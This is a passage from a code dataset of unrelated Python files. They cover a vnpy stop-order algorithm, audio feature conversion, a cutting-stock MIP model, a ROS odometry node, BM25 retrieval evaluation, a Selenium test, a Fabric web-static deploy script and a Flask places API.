self.writeLog(u'委托买入%s,数量%s,价格%s' % (self.vtSymbol, str(self.totalVolume), price))\n self.stop()\n else:\n price = self.stopPrice - self.priceAdd\n \n # if tick.lowerLimit:\n # price = max(price, tick.lowerLimit)\n \n # func = self.sell\n dataSell = {\n 'cid': 1,\n 'side': 1,\n 'scale': 20,\n 'volume': int(self.totalVolume),\n 'visible': -1,\n 'price': int(price),\n }\n resSell = tdex.futuresOpen(dataSell)\n print(resSell)\n if resSell['status'] == 0:\n self.writeLog(u'委托卖出%s,数量%s,价格%s' % (self.vtSymbol, str(self.totalVolume), price))\n self.stop()\n # self.vtOrderID = func(self.vtSymbol, price, self.volume, offset=self.offset)\n \n # msg = u'停止单已触发,代码:%s,方向:%s, 价格:%s,数量:%s' %(self.vtSymbol,\n # self.direction,\n # self.stopPrice,\n # self.totalVolume)\n # self.writeLog(msg)\n \n # 更新变量\n self.varEvent() \n \n #----------------------------------------------------------------------\n def onTrade(self, trade):\n \"\"\"\"\"\"\n pass\n \n #----------------------------------------------------------------------\n def onOrder(self, order):\n \"\"\"\"\"\"\n self.tradedVolume = order.tradedVolume\n self.orderStatus = order.status\n \n if self.orderStatus in STATUS_FINISHED:\n self.stop()\n \n self.varEvent()\n \n #----------------------------------------------------------------------\n def onTimer(self):\n \"\"\"\"\"\"\n pass\n \n #----------------------------------------------------------------------\n def onStop(self):\n \"\"\"\"\"\"\n self.writeLog(u'停止算法')\n self.varEvent()\n \n #----------------------------------------------------------------------\n def varEvent(self):\n \"\"\"更新变量\"\"\"\n d = OrderedDict()\n d[u'算法状态'] = self.active\n d[u'委托号'] = self.vtOrderID\n d[u'成交数量'] = self.tradedVolume\n d[u'委托状态'] = self.orderStatus\n d['active'] = self.active\n self.putVarEvent(d)\n \n #----------------------------------------------------------------------\n def paramEvent(self):\n \"\"\"更新参数\"\"\"\n d = OrderedDict()\n if self.vtSymbol == 'XBTUSD.BITMEX':\n self.vtSymbol = 'BTCUSD.TDEX'\n d[u'代码'] = self.vtSymbol\n d[u'方向'] = self.direction\n d[u'触发价格'] = self.stopPrice\n d[u'数量'] = self.totalVolume\n # d[u'开平'] = self.offset\n self.putParamEvent(d)\n\n\n########################################################################\nclass StopWidget(AlgoWidget):\n \"\"\"\"\"\"\n \n #----------------------------------------------------------------------\n def __init__(self, algoEngine, parent=None):\n \"\"\"Constructor\"\"\"\n super(StopWidget, self).__init__(algoEngine, parent)\n \n self.templateName = StopAlgo.templateName\n \n #----------------------------------------------------------------------\n def initAlgoLayout(self):\n \"\"\"\"\"\"\n self.lineSymbol = QtWidgets.QLineEdit()\n \n self.comboDirection = QtWidgets.QComboBox()\n self.comboDirection.addItem(DIRECTION_LONG)\n self.comboDirection.addItem(DIRECTION_SHORT)\n self.comboDirection.setCurrentIndex(0)\n \n self.spinPrice = QtWidgets.QDoubleSpinBox()\n self.spinPrice.setMinimum(0)\n self.spinPrice.setMaximum(1000000000)\n self.spinPrice.setDecimals(8)\n \n self.spinVolume = QtWidgets.QDoubleSpinBox()\n self.spinVolume.setMinimum(0)\n self.spinVolume.setMaximum(1000000000)\n self.spinVolume.setDecimals(6)\n \n self.comboOffset = QtWidgets.QComboBox()\n self.comboOffset.addItems(['', OFFSET_OPEN, OFFSET_CLOSE])\n self.comboOffset.setCurrentIndex(0)\n \n self.spinPriceAdd = QtWidgets.QDoubleSpinBox()\n self.spinPriceAdd.setMinimum(0)\n self.spinPriceAdd.setMaximum(1000000000)\n self.spinPriceAdd.setDecimals(8) \n \n buttonStart = QtWidgets.QPushButton(u'启动')\n buttonStart.clicked.connect(self.addAlgo)\n buttonStart.setMinimumHeight(100)\n \n Label = QtWidgets.QLabel\n \n grid = QtWidgets.QGridLayout()\n grid.addWidget(Label(u'代码'), 0, 0)\n grid.addWidget(self.lineSymbol, 0, 1)\n grid.addWidget(Label(u'方向'), 1, 0)\n grid.addWidget(self.comboDirection, 1, 1)\n grid.addWidget(Label(u'价格'), 2, 0)\n grid.addWidget(self.spinPrice, 2, 1)\n grid.addWidget(Label(u'数量'), 3, 0)\n grid.addWidget(self.spinVolume, 3, 1)\n # grid.addWidget(Label(u'开平'), 4, 0)\n # grid.addWidget(self.comboOffset, 4, 1)\n grid.addWidget(Label(u'超价'), 5, 0)\n grid.addWidget(self.spinPriceAdd, 5, 1) \n \n return grid\n \n #----------------------------------------------------------------------\n def getAlgoSetting(self):\n \"\"\"\"\"\"\n setting = OrderedDict()\n setting['templateName'] = StopAlgo.templateName\n setting['vtSymbol'] = str(self.lineSymbol.text())\n setting['direction'] = text_type(self.comboDirection.currentText())\n setting['stopPrice'] = float(self.spinPrice.value())\n setting['totalVolume'] = float(self.spinVolume.value())\n setting['offset'] = text_type(self.comboOffset.currentText())\n setting['priceAdd'] = float(self.spinPriceAdd.value())\n \n return setting\n \n \n","sub_path":"vnpy/trader/app/algoTrading/algo/stopAlgo.py","file_name":"stopAlgo.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"84154262","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2018/6/10\n\n@author: chen hangting\n\nthis script transform mat file with cell to npy\n\"\"\"\n\nimport h5py\nimport numpy as np\nimport os\n\nPATHMATROOT=(r'H:\\TUT2017\\rawWaveletL',r'H:\\TUT2017\\rawWaveletR')\nPATHNPYROOT=r'H:\\TUT2017\\rawWavelet'\n\nframeNum=(0,7,16,25,34,43,52,61,70,79,92)\nfilterNum=92\n\n\nfor mode in ('development','evaluation',):\n fileList=os.listdir(os.path.join(PATHMATROOT[0],mode,'audio'))\n for f in fileList:\n print(f)\n PATHREADL=os.path.join(PATHMATROOT[0],mode,'audio',f)\n PATHREADR=os.path.join(PATHMATROOT[1],mode,'audio',f)\n matL=h5py.File(PATHREADL)\n matR=h5py.File(PATHREADR)\n dataL=[matL[e[0]][:] for e in matL['U_2']['signal']]\n dataR=[matR[e[0]][:] for e in matR['U_2']['signal']]\n for s in range(len(frameNum)-1):\n start=frameNum[s]\n end=frameNum[s+1]\n data=[*dataL[start:end],*dataR[start:end]]\n data=np.concatenate(data,axis=0).T\n PATHSAV=os.path.join(PATHNPYROOT,str(s),mode,'audio',f[0:-4])\n np.save(PATHSAV,data)","sub_path":"script/features/rawWavelet/mat2npy.py","file_name":"mat2npy.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"264451738","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 11 19:28:23 2020\n\n@author: masat\n\"\"\"\n\nN = int(input())\ns_list = []\nt_list = []\nfor i in range(N):\n s, t = input().split()\n s_list.append(s)\n t_list.append(int(t))\nX = input()\n\nk = s_list.index(X)\n\ntime = 0\nfor i in range(k+1, N):\n time += t_list[i]\n\nprint(time)\n\n","sub_path":"AtCoder_Python3/dwacon6th/dwacon6th_A_HH1.py","file_name":"dwacon6th_A_HH1.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"96720270","text":"# -*- coding: utf-8 -*-\r\nimport sys\r\nfrom mip import*\r\n\r\n# lendo dados de entrada\r\ncsv = open(sys.argv[1], \"r\")\r\n\r\nlines = csv.readlines()\r\ndata = lines[0].split(\";\")\r\n\r\nn = int(data[0])\r\nL = int(data[1])\r\nm = int(data[2])\r\n\r\nws = lines[1].split(\";\")\r\nbs = lines[2].split(\";\")\r\n\r\nw = []\r\nb = []\r\n\r\nfor i in range(len(ws)):\r\n w.append(int(ws[i]))\r\n\r\nfor i in range(len(bs)):\r\n b.append(int(bs[i]))\r\n\r\ncsv.close()\r\n\r\n# criando o modelo\r\nmodel = Model(\"Corte Unidimensional\")\r\n\r\n# criando variáveis\r\nx = { (i,j) : model.add_var(var_type = INTEGER) for i in range(m) for j in range(n) }\r\ny = [ model.add_var(var_type = BINARY) for j in range(n) ]\r\n\r\n# criando restrições\r\nfor i in range(m):\r\n model += xsum(x[i,j] for j in range(n)) >= b[i]\r\n\r\nfor j in range(n):\r\n model += xsum(w[i] * x[i,j] for i in range(m)) <= L * y[j]\r\n\r\nfor j in range(1,n):\r\n model += y[j] <= y[j - 1]\r\n\r\n# criando função objetivo\r\nmodel += xsum(y[j] for j in range(n))\r\n\r\n# resolvendo o modelo\r\nmodel.optimize()\r\n\r\n# imprimindo o modelo\r\nprint(\"z = {model.objective_value}\\n\".format(**locals()))\r\nfor (i,j) in x.keys():\r\n if x[i,j].x > 0.1:\r\n value = x[i,j].x\r\n print(\"x({i},{j}) = {value}\\n\".format(**locals()))\r\n","sub_path":"praticas/atividade_05/corte_unidimensional.py","file_name":"corte_unidimensional.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"281435758","text":"#!/usr/bin/env python\nimport roslib; roslib.load_manifest('roboint')\nimport rospy\nimport tf\nfrom math import *\nfrom geometry_msgs.msg import Twist, TransformStamped, Point32, PoseWithCovarianceStamped\nfrom sensor_msgs.msg import Range\nfrom nav_msgs.msg import Odometry\nfrom roboint.msg import Motor\nfrom roboint.msg import Inputs\n\n\nclass RoboExplorer:\n\tdef __init__(self):\n\t\trospy.init_node('robo_explorer')\n\n\t\tself.x = 0\n\t\tself.y = 0\n\t\tself.alpha = 0\n\t\tself.last_in = None\n\t\tself.tf_broadcaster = tf.broadcaster.TransformBroadcaster()\n\t\tself.last_time = rospy.Time.now()\n\t\tself.x_last = 0\n\t\tself.y_last = 0\n\t\tself.alpha_last = 0\n\n\t\t# Distance between both wheels in meter (18.55cm)\n\t\tself.wheel_dist = float(rospy.get_param('~wheel_dist', \"0.1855\"))\n\t\t# Size of wheel Diameter in meter (5.15cm) * gear ratio (0.5) = 2.575cm \n\t\tself.wheel_size = float(rospy.get_param('~wheel_size', \"0.02575\"))\n\t\t# Speed to PWM equation gradiant (The m in pwm = speed*m+b)\n\t\tself.speed_gradiant = float(rospy.get_param('~speed_gradiant', \"64.3\"))\n\t\t# Speed to PWM equation constant (The b in pwm = speed*m+b)\n\t\tself.speed_constant = float(rospy.get_param('~speed_constant', \"-1.7\"))\n\n\t\tself.pub_motor = rospy.Publisher(\"ft/set_motor\", Motor, queue_size=16)\n\t\tself.pub_sonar = rospy.Publisher(\"sonar\", Range, queue_size=16)\n\t\tself.pub_odom = rospy.Publisher(\"odom\", Odometry, queue_size=16)\n\t\t\n\t\trospy.Subscriber(\"cmd_vel\", Twist, self.cmdVelReceived)\n\t\trospy.Subscriber(\"ft/get_inputs\", Inputs, self.inputsReceived)\n\t\trospy.Subscriber(\"initialpose\", PoseWithCovarianceStamped, self.posReceived)\n\n\t\trospy.spin()\n\t\n\tdef posReceived(self, msg):\n\t\tself.x = msg.pose.pose.position.x\n\t\tself.y = msg.pose.pose.position.y\n\t\torientation = msg.pose.pose.orientation\n\t\tangles = tf.transformations.euler_from_quaternion([orientation.x, orientation.y, orientation.z, orientation.w])\n\t\tself.alpha = angles[2]\n\n\tdef inputsReceived(self, msg):\n\t\tcurrent_time = rospy.Time.now()\n\n\t\tself.update_odometry(msg, current_time)\n\t\tif (current_time - self.last_time).to_nsec() > 100e6: # send every 100ms\n\t\t\tself.send_odometry(msg, current_time)\n\t\t\tself.send_range(msg, current_time)\n\t\t\tself.last_time = current_time\n\n\tdef update_odometry(self, msg, current_time):\n\t\tin_now = msg.input[:2]\n\t\tif self.last_in is not None:\n\t\t\tin_diff = [abs(a - b) for a, b in zip(in_now, self.last_in)] # get changed inputs\n\t\t\t# fix in_diff from actual motor direction\n\t\t\tif msg.output[1] > 0: # left reverse\n\t\t\t\tin_diff[0] = -in_diff[0]\n\t\t\telif msg.output[0] == 0 and msg.output[1] == 0: # left stop\n\t\t\t\tin_diff[0] = 0\n\t\t\tif msg.output[3] > 0: # right reverse\n\t\t\t\tin_diff[1] = -in_diff[1]\n\t\t\telif msg.output[2] == 0 and msg.output[3] == 0: # right stop\n\t\t\t\tin_diff[1] = 0\n\n\t\t\tdist_dir = (in_diff[1] - in_diff[0]) * self.wheel_size*pi/8 # steps_changed in different direction => m\n\t\t\tdelta_alpha = dist_dir/self.wheel_dist\n\n\t\t\tdist = (in_diff[0] + in_diff[1])/2.0 * self.wheel_size*pi/8 # steps_changed same direction => m\n\n\t\t\tdelta_x = cos(self.alpha + delta_alpha/2)*dist\n\t\t\tdelta_y = sin(self.alpha + delta_alpha/2)*dist\n\n\t\t\tself.alpha += delta_alpha\n\t\t\tif self.alpha > 2*pi:\n\t\t\t\tself.alpha -= 2*pi\n\t\t\telif self.alpha < -2*pi:\n\t\t\t\tself.alpha += 2*pi\n\t\t\tself.x += delta_x\n\t\t\tself.y += delta_y\n\n\t\tself.last_in = in_now\n\n\tdef send_odometry(self, msg, current_time):\n\t\t# speeds\n\t\tdt = (current_time - self.last_time).to_sec()\n\t\tvx = sqrt((self.x - self.x_last)**2 + (self.y - self.y_last)**2) / dt\n\t\tif (msg.output[0]-msg.output[1] + msg.output[2]-msg.output[3]) < 0:\n\t\t\t# moving backward\n\t\t\tvx*=-1\n\t\tvalpha = (self.alpha - self.alpha_last) / dt\n\t\tself.x_last = self.x\n\t\tself.y_last = self.y\n\t\tself.alpha_last = self.alpha\n\n\t\t# since all odometry is 6DOF we'll need a quaternion created from yaw\n\t\todom_quat = tf.transformations.quaternion_from_euler(0, 0, self.alpha)\n\n\t\t# first, we'll publish the transform over tf\n\t\tself.tf_broadcaster.sendTransform((self.x, self.y, 0.0), odom_quat, current_time, \"base_link\", \"odom\")\n\n\t\t# next, we'll publish the odometry message over ROS\n\t\todom = Odometry()\n\t\todom.header.stamp = current_time\n\t\todom.header.frame_id = \"/odom\"\n\n\t\t# set the position\n\t\todom.pose.pose.position.x = self.x\n\t\todom.pose.pose.position.y = self.y\n\t\todom.pose.pose.position.z = 0.0\n\t\todom.pose.pose.orientation.x = odom_quat[0]\n\t\todom.pose.pose.orientation.y = odom_quat[1]\n\t\todom.pose.pose.orientation.z = odom_quat[2]\n\t\todom.pose.pose.orientation.w = odom_quat[3]\n\n\t\t# set the velocity\n\t\todom.child_frame_id = \"base_link\"\n\t\todom.twist.twist.linear.x = vx\n\t\todom.twist.twist.linear.y = 0.0\n\t\todom.twist.twist.angular.z = valpha\n\n\t\t# publish the message\n\t\tself.pub_odom.publish(odom)\n\t\t\n\tdef send_range(self, msg, current_time):\n\t\t# ultra sonic range finder\n\t\tscan = Range()\n\t\tscan.header.stamp = current_time\n\t\tscan.header.frame_id = \"forward_sensor\"\n\t\tscan.radiation_type = 0\n\t\tscan.field_of_view = 60*pi/180\n\t\tscan.min_range = 0.0\n\t\tscan.max_range = 4.0\n\t\tscan.range = msg.d1/100.0\n\t\tself.pub_sonar.publish(scan)\n\n\t# test with rostopic pub -1 cmd_vel geometry_msgs/Twist '[0, 0, 0]' '[0, 0, 0]'\n\tdef cmdVelReceived(self, msg):\n\t\ttrans = msg.linear.x\n\t\trot = msg.angular.z # rad/s\n\n\t\t# handle rotation as offset to speeds\n\t\tspeed_offset = (rot * self.wheel_dist)/2.0 # m/s\n\n\t\t# handle translation\n\t\tspeed_l = 0\n\t\twish_speed_left = trans - speed_offset\n\t\tif abs(wish_speed_left) > 0:\n\t\t\tspeed_l = self.speed_gradiant*abs(wish_speed_left) + self.speed_constant\n\t\t\tif wish_speed_left < 0:\n\t\t\t\tspeed_l*=-1\n\t\tspeed_r = 0\n\t\twish_speed_right = trans + speed_offset\n\t\tif abs(wish_speed_right) > 0:\n\t\t\tspeed_r = self.speed_gradiant*abs(wish_speed_right) + self.speed_constant\n\t\t\tif wish_speed_right < 0:\n\t\t\t\tspeed_r*=-1\n\n\t\t# check limits\n\t\tif speed_l < -7: speed_l = -7\n\t\telif speed_l > 7: speed_l = 7\n\t\tif speed_r < -7: speed_r = -7\n\t\telif speed_r > 7: speed_r = 7\n\n\t\t#print \"Speed wanted: %.2f m/s %.2f rad/s, set: %d %d\" % (trans, rot, round(speed_l), round(speed_r))\n\n\t\toutmsg = Motor()\n\t\toutmsg.num = 0\n\t\toutmsg.speed = round(speed_l)\n\t\tself.pub_motor.publish(outmsg)\n\t\t\n\t\toutmsg = Motor()\n\t\toutmsg.num = 1\n\t\toutmsg.speed = round(speed_r)\n\t\tself.pub_motor.publish(outmsg)\n\nif __name__ == '__main__':\n\tRoboExplorer()\n","sub_path":"scripts/robo_explorer.py","file_name":"robo_explorer.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"44022153","text":"import os\nimport sys\nimport math\nimport operator\nimport collections \n\nN = 3204\nk1 = 1.2\nk2 = 100\nb= 0.75\ndoc_length = collections.OrderedDict()\ninverted_index_dict = {}\nterm_freq_in_each_doc = {}\ndoc_token_info= {}\n\ninverted_list = []\ntokens_in_each_doc = []\nvisited_terms = []\ncacm_rel = []\ntotal_avg_prec = 0\ntotal_reciprocal_rank = 0\nmean_reciprocal_rank = 0\n\n\ndef bm25_intermediate_fn(query,avdl,inverted_index_dict,count,R,rel_docs,doc_token_info,f5):\n global total_avg_prec\n global mean_avg_precision\n global total_reciprocal_rank\n global mean_reciprocal_rank\n \n bm25_score= {}\n bm25_ranked_list = []\n query=query.split()\n visited_terms = []\n for term in query:\n r = 0\n #checking whether the score is already calculated for that term\n if term not in visited_terms:\n visited_terms.append(term)\n #checking whether query term is in the inverted index\n if term in inverted_index_dict.keys():\n values=inverted_index_dict[term]\n n=len(values)\n for item in values:\n #storing the frequency of the term for that doc\n frequency = item[1]\n #checking whether the document is in the list of relevant documents for that query\n if item[0] in rel_docs:\n if term in doc_token_info[item[0]]:\n r+=1\n dl=doc_length[item[0]]\n #calculating the frequency of the term in the query\n query_freq = query.count(term)\n #calculating the BM25 score\n s = calculate_BM25(frequency,dl,query_freq,n,avdl,R,r)\n doc=item[0]\n if doc in bm25_score.keys():\n bm25_score[doc]+=s\n else:\n bm25_score[doc] = s\n\n\n bm25_ranked_list =sorted(bm25_score.items(), key=operator.itemgetter(1), reverse=True)\n\n documents = [x[0] for x in bm25_ranked_list]\n\n precision = {}\n recall = {}\n total_retrieved_docs = 0\n rel = 0\n avg_precision = 0\n sum_precision = 0\n #calculating precision and recall\n for doc in documents:\n total_retrieved_docs+=1\n if doc in rel_docs:\n rel+=1\n if rel ==1 :\n total_reciprocal_rank+=(float(1/total_retrieved_docs))\n precision[doc] = float(rel/total_retrieved_docs)\n sum_precision = sum_precision+float(precision[doc])\n if R == 0:\n recall[doc] = 0.0\n else:\n recall[doc] = float(rel/R)\n else:\n precision[doc] = float(rel/total_retrieved_docs)\n if R==0:\n recall[doc] =0.0\n else:\n recall[doc] = float(rel/R)\n\n if R!=0:\n avg_precision = float(sum_precision/R)\n total_avg_prec = float(total_avg_prec+avg_precision)\n\n #Put count==7 for stemming and 64 for stopping\n if count ==64:\n \n #For stemming divide by 7, for stooping divide by 52\n mean_avg_prec = float(total_avg_prec/52)\n\n mean_reciprocal_rank = float(total_reciprocal_rank/52)\n\n f6 = open(\"F://IR//Project Files//Precision_at_K_BM25_general.txt\",'a+',encoding='utf-8')\n\n #For stemming uncomment this\n #f6 = open(\"F://IR//Project Files//Task3Stemmed//Precision_at_K_BM25_stemmed.txt\",'a+',encoding='utf-8')\n \n #For stopping uncomment this\n #f6 = open(\"F://IR//Project Files//Task3Stopped//Precision_at_K_BM25_stopped.txt\",'a+',encoding='utf-8')\n\n if len(bm25_ranked_list)<100:\n x=len(bm25_ranked_list)\n else:\n x=100\n \n for i in range(x):\n document = str(bm25_ranked_list[i][0])\n if document in rel_docs:\n relevance = \"R\"\n else:\n relevance = \"NR\"\n f5.write('{:10} {:2} {:40} {:5} {:30} {:10} {:40} {:20}'.format(\"\" + str(count), \"Q0\", \"\" + document, \"\" + str(i+1), \"\" + str(bm25_ranked_list[i][1]),\n relevance, \"\" + str(precision[document]), \"\" + str(recall[document])) + '\\n')\n if ((i+1)==5 or (i+1)==20):\n f6.write(\"Precision @ K= \"+str(i+1)+\" for query number : \"+str(count)+\" is : \"+str(precision[document])+\"\\n\")\n\n\n # Put count==7 for stemming and 64 for stopping\n if count ==64:\n f5.write(\"Mean Average Precision (MAP) : \"+str(mean_avg_prec)+\"\\n\")\n f5.write(\"Mean Reciprocal Rank (MRR) : \"+str(mean_reciprocal_rank))\n\n f4=open(\"F://IR//Project Files//Relevant_Docs_for_each_query.txt\",'a+',encoding='utf-8')\n \n #For stopping uncomment this\n #f4=open(\"F://IR//Project Files//Task3Stopped//Relevant_Docs_for_each_stopped_query.txt\",'a+',encoding='utf-8')\n \n #For stemming uncomment this\n #f4=open(\"F://IR//Project Files//Task3Stemmed//Relevant_Docs_for_each_stemmed_query.txt\",'a+',encoding='utf-8')\n \n f4.write(str(count)+\" \")\n for j in range(10):\n f4.write(bm25_ranked_list[j][0]+\" \")\n f4.write(\"\\n\")\n \n\n\ndef calculate_BM25(freq,doclen,qf,n,avdl,R,r):\n x = float(doclen/avdl)\n x = (b*x)\n z = (1-b)\n K = (k1*(z+x))\n p1 = float((r+0.5)/(R-r+0.5))\n p2 = float((n-r+0.5)/(N-n-R+r+0.5))\n temp=(p1/p2)\n p3 = math.log(temp if temp>0 else 1)\n p4 = float(((k1+1)*freq)/(K+freq))\n p5 = float(((k2+1)*qf)/(k2+qf))\n score = (p3*p4*p5)\n\n return score\n \n\n\ndef main():\n \n\n f5=open(\"F://IR//Project Files//bm25_general_corpus_results.txt\",'a+',encoding='utf-8')\n \n #For stopping uncomment this\n #f5=open(\"F://IR//Project Files//Task3Stopped//bm25_stopped_corpus_results.txt\",'a+',encoding='utf-8')\n \n #For stemming uncomment this\n #f5=open(\"F://IR//Project Files//Task3Stemmed//bm25_stemmed_corpus_results.txt\",'a+',encoding='utf-8')\n \n count = 0\n path = \"F://IR//Project Files//CACMCORPUS//\"\n sum_doc_length = 0\n #calculating the document length for every document\n for filename in os.listdir(path):\n temp = str(filename)\n temp=temp.rstrip('.txt')\n fi= open(path+filename,'r',encoding=\"utf-8\").readlines()\n dl=len(fi)\n doc_length[temp]=dl\n sum_doc_length+=dl\n \n #calculating avdl \n avdl = float(sum_doc_length/N)\n\n #Retrieving the dictionary of inverted list of unigrams\n \n #For stemming uncomment this\n #with open(\"F://IR//Project Files//Stopped and Stemmed Files_Task3//inverted_index_stemmed_unigrams.txt\",'r',encoding='utf-8') as f:\n\n #For stopping uncomment this\n #with open(\"F://IR//Project Files//Stopped and Stemmed Files_Task3//inverted_index_stopped_unigrams.txt\",'r',encoding='utf-8') as f: \n with open(\"F://IR//Project Files//inverted_index_unigrams.txt\",'r',encoding='utf-8') as f:\n for val in f:\n inverted_list.append(eval(val))\n\n #storing the inverted index in a dictionary\n for row in inverted_list: \n inverted_index_dict[row[0]]=row[1]\n\n #retrieving the dictionary of tokens in each doc\n #with open (\"F://IR//Project Files//Stopped and Stemmed Files_Task3//terms_in_docs_stopped.txt\",'r',encoding='utf-8') as f2:\n \n #For stemming uncomment this \n #with open (\"F://IR//Project Files//Stopped and Stemmed Files_Task3//terms_in_docs_stemmed.txt\",'r',encoding='utf-8') as f2: \n with open (\"F://IR//Project Files//terms_in_docs.txt\",'r',encoding='utf-8') as f2:\n for val in f2:\n tokens_in_each_doc.append(eval(val))\n\n for row in tokens_in_each_doc:\n doc_token_info[row[0]] = row[1]\n\n\n with open (\"F://IR//Project Files//cacm_rel.txt\",'r',encoding='utf-8') as f3:\n for line in f3.readlines():\n l=line.split()\n cacm_rel.append(l)\n\n\n f5.write('{:10} {:2} {:40} {:5} {:30} {:10} {:40} {:20}'.format(\"QueryId\", \"Q0\", \"DocumentName\", \"Rank\", \" Score\",\n \"Relevance\", \" Precision\", \" Recall\") + '\\n\\n')\n\n #For stopping uncomment this\n #with open(\"F://IR//Project Files//Stopped and Stemmed Files_Task3//query_stopped.txt\",'r',encoding=\"utf-8\") as fi :\n \n #For stemming uncomment this\n #with open(\"F://IR//Project Files//Stopped and Stemmed Files_Task3//query_stemmed.txt\",'r',encoding=\"utf-8\") as fi :\n with open(\"F://IR//Project Files//query.txt\",'r',encoding=\"utf-8\") as fi : \n for query in fi:\n count = count + 1\n R = 0\n rel_docs = []\n for row in cacm_rel:\n if count ==int(row[0]):\n R += 1\n rel_docs.append(row[2])\n\n bm25_intermediate_fn(query,avdl,inverted_index_dict,count,R,rel_docs,doc_token_info,f5)\n \n \n \n\n\n \n\n \n \nmain()\n \n","sub_path":"BM25.py","file_name":"BM25.py","file_ext":"py","file_size_in_byte":8815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"257587299","text":"from mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nimport numpy as np\nfrom sklearn.neighbors import NearestNeighbors\n\n# X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])\n# nbrs = NearestNeighbors(n_neighbors=2, algorithm='ball_tree').fit(X)\n# distances, indices = nbrs.kneighbors(X)\n# print(indices)\n\n\niris = datasets.load_iris()\niris_data = iris.data\niris_labels = iris.target\nprint(iris_data[0], iris_data[79], iris_data[100])\nprint(iris_labels[0], iris_labels[79], iris_labels[100])\n\nnp.random.seed(42)\nindices = np.random.permutation(len(iris_data))\nn_training_samples = 12\nlearnset_data = iris_data[indices[:-n_training_samples]]\nlearnset_labels = iris_labels[indices[:-n_training_samples]]\ntestset_data = iris_data[indices[-n_training_samples:]]\ntestset_labels = iris_labels[indices[-n_training_samples:]]\nprint(learnset_data[:4], learnset_labels[:4])\nprint(testset_data[:4], testset_labels[:4])\n","sub_path":".history/example-knn_20190225055338.py","file_name":"example-knn_20190225055338.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"259462611","text":"# coding: utf-8\n\nimport time, re\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import Select\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://www.hotelurbano.com\")\nassert \"Hotel Urbano\" in driver.title\ntime.sleep(3)\n\n#Entra na ṕágina de pacotes\nelemClick = driver.find_element_by_class_name('mapx-header-click-pacotes')\nelemClick.click()\ntime.sleep(2)\n\n#Entra na ṕágina de pacotes\nassert \"PACOTES\" in driver.page_source\ntime.sleep(3)\n\n#Entra em um hotel\nelemClick = driver.find_element_by_class_name('offer-card offer-card--desktop')\nelemClick.click()\ntime.sleep(5)\n\nassert \"VIAJAR\" in driver.page_source\n\n\n","sub_path":"Tester/Teste.Selenium.Python/Tester/Teste.Pacotes.2.py","file_name":"Teste.Pacotes.2.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"496057344","text":"#!/usr/bin/python3\n\"\"\" Fabric script that distributes an archive to a web server. \"\"\"\nfrom fabric.api import env, put, run\nfrom os.path import exists\nenv.hosts = [\"35.237.133.118\", \"3.90.191.97\"]\n\n\ndef do_deploy(archive_path):\n \"\"\" Deploy an archive to the web server. \"\"\"\n if exists(archive_path) is False:\n return False\n try:\n file_tgz = archive_path.split(\"/\")[1] # filename.tgz\n file_name = file_tgz.split(\".\")[0] # filename\n path = \"/data/web_static/releases/\"\n put(archive_path, \"/tmp/\")\n run(\"mkdir -p {}{}/\".format(path, file_name))\n # Uncompress the archive to the folder.\n run(\"tar -xzf /tmp/{} -C {}{}/\".format(file_tgz, path, file_name))\n # Deletes the collected file\n run(\"rm /tmp/{}\".format(file_tgz))\n run(\"mv {0}{1}/web_static/* {0}{1}\".format(path, file_name))\n run(\"rm -rf {}{}/web_static\".format(path, file_name))\n run(\"rm -rf /data/web_static/current\")\n run(\"ln -s {}{}/ /data/web_static/current\".format(path, file_name))\n\n return True\n except Exception:\n return False\n","sub_path":"2-do_deploy_web_static.py","file_name":"2-do_deploy_web_static.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"26271868","text":"#!/usr/bin/python3\n\"\"\"This module defines the view Place\"\"\"\n\nfrom models.place import Place\nfrom models.user import User\nfrom models.city import City\nfrom models.state import State\nfrom models.amenity import Amenity\nfrom . import app_views\nfrom flask import jsonify, abort, request\nfrom models import storage\nfrom os import getenv\nSTORAGE_TYPE = getenv('HBNB_TYPE_STORAGE')\n\n\n@app_views.route('/cities//places', methods=['GET'],\n strict_slashes=False)\ndef get_places(city_id=None):\n \"\"\"Retrieves the list of all Place objects from a determinated City\n\n Args:\n city_id (city_id, optional): id to search an city. Defaults to None.\n\n Returns:\n Response: If the state_id is not linked to any City object,\n raise a 404 error\n If everythin is right return\n a list of all places with response 200\n \"\"\"\n\n list_ = []\n city = storage.get(City, city_id)\n if city:\n places = city.places\n for place in places:\n list_.append(place.to_dict())\n return jsonify(list_), 200\n abort(404)\n\n\n@app_views.route('/places/', methods=['GET'], strict_slashes=False)\ndef get_place(place_id=None):\n \"\"\"Retrieves a Place Object\n\n Args:\n place_id (str, optional): id to search a Place. Defaults to None.\n\n Returns:\n Response: If the state_id is not linked to any Place object,\n raise a 404 error or\n if everything is right return a list\n with the Place with response 200\n \"\"\"\n\n place = storage.get(Place, place_id)\n return place.to_dict() if place else abort(404)\n\n\n@app_views.route('/places/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id=None):\n \"\"\"Deletes a Place 